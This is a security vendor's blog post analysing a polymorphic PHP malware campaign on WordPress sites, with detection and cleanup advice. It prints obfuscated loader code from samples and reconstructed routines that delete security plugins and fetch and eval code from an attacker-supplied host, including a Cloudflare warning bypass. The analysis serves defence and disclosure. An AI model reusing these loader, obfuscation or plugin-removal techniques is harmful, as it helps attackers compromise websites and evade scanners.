Blog

Polymorphic PHP Malware: 19 Files, 19 Hashes, One Campaign

A polymorphic PHP malware campaign hid in fake .well-known folders and deleted Wordfence and Sucuri. How it evades scanners, what it does, and how to find it.

Six files in different glass wrappers; a scanning beam reveals the same infected core inside each one

Over eight days, Pyxsoft Labs received 19 PHP files in three batches. All of them sat in folders with names like these:

~/public_html/well-known/pki-validation/d/f/g/h/zftxmkiheya.php
~/public_html/well-known/acme-challenge/b/a/g/h/xwcgnbe/gmzdr1e/admin.php

Each file had a different SHA-256. VirusTotal had no record of 16 of them, and two of the other three had 0 and 1 detections. Underneath, there were only four programs.

This is a good look at polymorphism: what it is, why it defeats hash lists and text searches, and what still gives this malware away.

A folder nobody checks

.well-known/pki-validation and .well-known/acme-challenge are real paths. Certificate authorities and Let’s Encrypt use them to check that you control a domain, and most people leave them alone.

The attacker created well-known, without the leading dot. In a file listing, it looks like the legitimate folder. Inside, four levels of one-letter folders lead to a file with a random 11-letter name, or to an admin.php or index.php that looks harmless at a glance.

What polymorphism means

A polymorphic family is one program that is packaged differently every time it is copied. What it does stays the same, but the bytes on disk change. Each copy therefore has a new hash, and a list of known-bad hashes catches exactly one file.

Grouped by the code they actually run, the 19 files look like this:

What it is Files Distinct hashes
Remote loader that disables security plugins (described below) 6 6
Web shell (a modified WSO 2.5), always named admin.php 7 7
A larger version of the loader that hooks into WordPress core 2 2
Another index.php loader, packed differently (we didn’t unpack it fully) 3 3
A small file uploader 1 1

Here is how the packaging changes from copy to copy. These are the first lines of two of the six copies of the loader:

$YXIF='gzunc'.'ompress';$ByqX='s'.'tr'.'_repl'.'ace';$snqF='ex'.'it';
$ouXm='s'.'ubst'.'r';$IpfV='f'.'ile'.'_g'.'et'.'_conten'.'ts';
eval($YXIF($ByqX('gtcbsvxfnq','>',$ByqX('zdjuafryvc','<',$ouXm($IpfV(__FILE__),-13687)))));$snqF(0);
?>
x\x9c\xed\xbd ... (13,687 bytes of compressed data)
$PLBb='sub'.'str';$ckzs='e'.'xit';$XScH='gzuncom'.'press';
$YiCB='st'.'r'.'_'.'replac'.'e';$UnHO='fi'.'le_g'.'et'.'_co'.'ntents';
eval($XScH($YiCB('nyzflivdoc','>',$YiCB('rtnoxcqhlf','<',$PLBb($UnHO(__FILE__),-10326)))));$ckzs(0);
?>
x\x9c\x55 ... (10,326 bytes of compressed data)

Each build changes several things:

  • Variable names are random ($YXIF, $PLBb).
  • Function names are split into random pieces: 'gzunc'.'ompress' in one copy, 'gzuncom'.'press' in the other.
  • The payload is stored after ?> as raw compressed bytes. The file reads itself with file_get_contents(__FILE__), takes the end of the file, decompresses it and runs it. exit(0) stops PHP before it reaches the binary data.
  • The characters < and > are removed from the compressed data and replaced with random 10-letter words (zdjuafryvc, gtcbsvxfnq). A scanner looking for <?php hidden inside a file won’t find it.
  • The decoding chain changes. Further in, each copy decodes its next layer with a different combination and order of strrev, base64_decode, gzinflate, gzuncompress and str_rot13.

The admin.php web shell goes further. One copy we unpacked calls eval 20 times in a row on its own output, and then passes through a second, older obfuscator before reaching readable code. All seven copies end up as the same code, from seven different files on disk.

Why the usual searches fail

We searched for the strings a cleanup script usually looks for in the 18 files of the four main programs:

Text searched Files containing it
eval( 18
base64_decode 0
str_rot13 0
$_GET or $_SERVER 0
http 0
wordfence 0

eval( is everywhere, but legitimate software uses it too, so it is a lead and not a verdict. Everything that would show what the files do, such as the URLs, the parameters they read and the plugins they attack, appears only after decoding.

What the loader does

Six of the files run the same 12,777-byte program. One of them, the file in pki-validation, isn’t wrapped in compressed data. It is the loader on its own, with names split into pieces and its code scrambled with goto jumps. Below are the parts that matter, rewritten with readable names.

On every request: remove the defenses

Every time the file is loaded, before checking any parameters, it does this:

$plugins = ['sucuri-scanner', 'better-wp-security', 'jetpack', 'wpscan', 'wordfence',
            'bulletproof-security', 'all-in-one-wp-security-and-firewall',
            'miniorange-2-factor-authentication', /* ... */];
foreach ($plugins as $p) {
    delete_recursively($root . '/wp-content/plugins/' . $p);   // rm -rf when a shell is available
}
file_write($root . '/wordfence-waf.php', '');   // empty Wordfence's firewall loader
unlink($root . '/.user.ini');                   // where that loader is hooked into PHP
unlink($root . '/error_log');                   // and the log that might show all this

Security plugins, the Wordfence firewall and the two-factor login plugin all disappear. If the site owner reinstalls them, the next request to this file removes them again.

Against other attackers

Many sites are infected more than once, and competing gangs fight over them. A common trick is to “lock” a hacked site by making index.php read-only (permissions 0444) and blocking access with deny from all in .htaccess.

This loader looks for those signs. If it finds them, it:

  • restores write permissions,
  • deletes a list of about 80 filenames used by other backdoors (wp-l0gin.php, xmrlpc.php, lock360.php, wp-the1me.php, …),
  • replaces .htaccess with the standard WordPress rules.

It also has a bug: it prepares a standard WordPress index.php, but then writes an empty one. A site where this branch runs shows a blank page.

The command channel

When it is called with ?action=, the loader downloads code and runs it:

$host = substitute_letters(str_rot13(pack('H*', strrev($_GET['action']))));
$code = download('http://' . $host);   // file_get_contents, then curl, then wget, then fopen
$code = bypass_cloudflare_warning('http://' . $host, $code);
eval(str_replace(['<?php', '<?', '?>'], '', $code));

The details matter:

  • The address of the attacker’s server isn’t in the file. It arrives with each request, encoded four ways. Without the web server’s access logs, the file doesn’t reveal where its code comes from, and the attacker can move to a new server at any time.
  • It tries four ways to download, so it keeps working on servers where some PHP functions are disabled. Each request pretends to be an iPhone that came from Google.
  • It bypasses Cloudflare’s phishing warning. If the response contains Cloudflare’s “Warning: suspected phishing” page, the loader extracts its token, calls /cdn-cgi/phish-bypass with it and downloads again. The attacker’s server had probably already been flagged, and the malware was built to get past that.
  • The real payload never touches the disk. The file contains only the loader, and the code that runs changes whenever the attacker wants.

The disguise

Called with no parameters, the file prints 403 - Forbidden!. Anyone who opens it in a browser sees what looks like a blocked folder.

The rest of the kit

The other programs in the campaign complete the picture:

  • A web shell in admin.php: a modified WSO 2.5. It provides a file manager, a command console, database access, password brute forcing and reverse shells. Like many WSO copies, it returns “404 Not Found” to the Google, Yahoo, MSN and Yandex crawlers, so the site doesn’t get flagged in search results.
  • A larger loader that hooks into WordPress: it does everything the loader does, and also edits wp-includes/plugin.php. That file is part of WordPress core and is loaded on every page view. Its added code keeps clearing out competing backdoors and rewriting index.php and .htaccess. Deleting the dropper doesn’t remove that code.

When files like these turn up, assume the attacker has already used them. Deleting them is the start of the cleanup, not the end. Our guide on why sites get reinfected after cleaning covers what else to check.

How Pyxsoft detects it

None of the 19 files matched a signature when it arrived, and most were unknown to antivirus engines. A signature only covers files the lab has already seen, and here the files change every time.

The static analyzer in Pyxsoft Anti Malware doesn’t need to have seen a file before. It parses the PHP and follows what the code does with its values, without running anything. In this campaign, it sees that:

  • the program builds gzuncompress, str_replace or base64_decode from pieces of strings;
  • it applies those functions, in layers, to data stored in the file itself;
  • and it passes the result to eval.

Some legitimate plugins do compress or encode data. Hiding the names of the decoding functions, decoding in several layers and executing the result is another matter. We haven’t measured any legitimate code that does all of that, so this rule is one of our high precision rules: when it matches, Anti Malware reports the file as malware, Heuristic.PHP.Loader.Eval, instead of flagging it for review.

With the current engine, the results for this campaign are:

Files Result
18 files of the four main programs (all 19 hashes except the uploader) Malware, Heuristic.PHP.Loader.Eval
The small uploader Suspicious: it writes uploaded files without checks, but it isn’t hidden

The rule doesn’t depend on variable names, on how the strings are split or on the order of the decoders, which are exactly the things that change between copies. Still, we tested it on this campaign, not on every variant someone might build in the future. Suspicious files are sent to the lab, where they are reviewed and turned into protection for every server.

What to check on your server

  • Look for fake system folders. A well-known folder without the dot is a strong sign:
    find /home/*/public_html -type d -name 'well-known'
  • Check whether security plugins disappeared on their own. If Wordfence, Sucuri or a 2FA plugin is gone and nobody removed it, find out why before you reinstall it.
  • Verify WordPress core files. wp core verify-checksums with WP-CLI shows whether wp-includes/plugin.php or other core files were modified.
  • Look at index.php and .htaccess. An empty index.php, a read-only one, or .htaccess rules you didn’t write are all warning signs.
  • Check your logs for ?action=. Requests to random files in unusual folders with that parameter show when the loader was used.
  • Change the passwords for the database, FTP and WordPress administrators. Do this after the cleanup, not before.

Pyxsoft Anti Malware runs this analysis on cPanel/WHM servers and on servers with no panel, both on a schedule and in real time. It is licensed per server, whatever the number of accounts, and there’s a 7-day free trial, no credit card needed.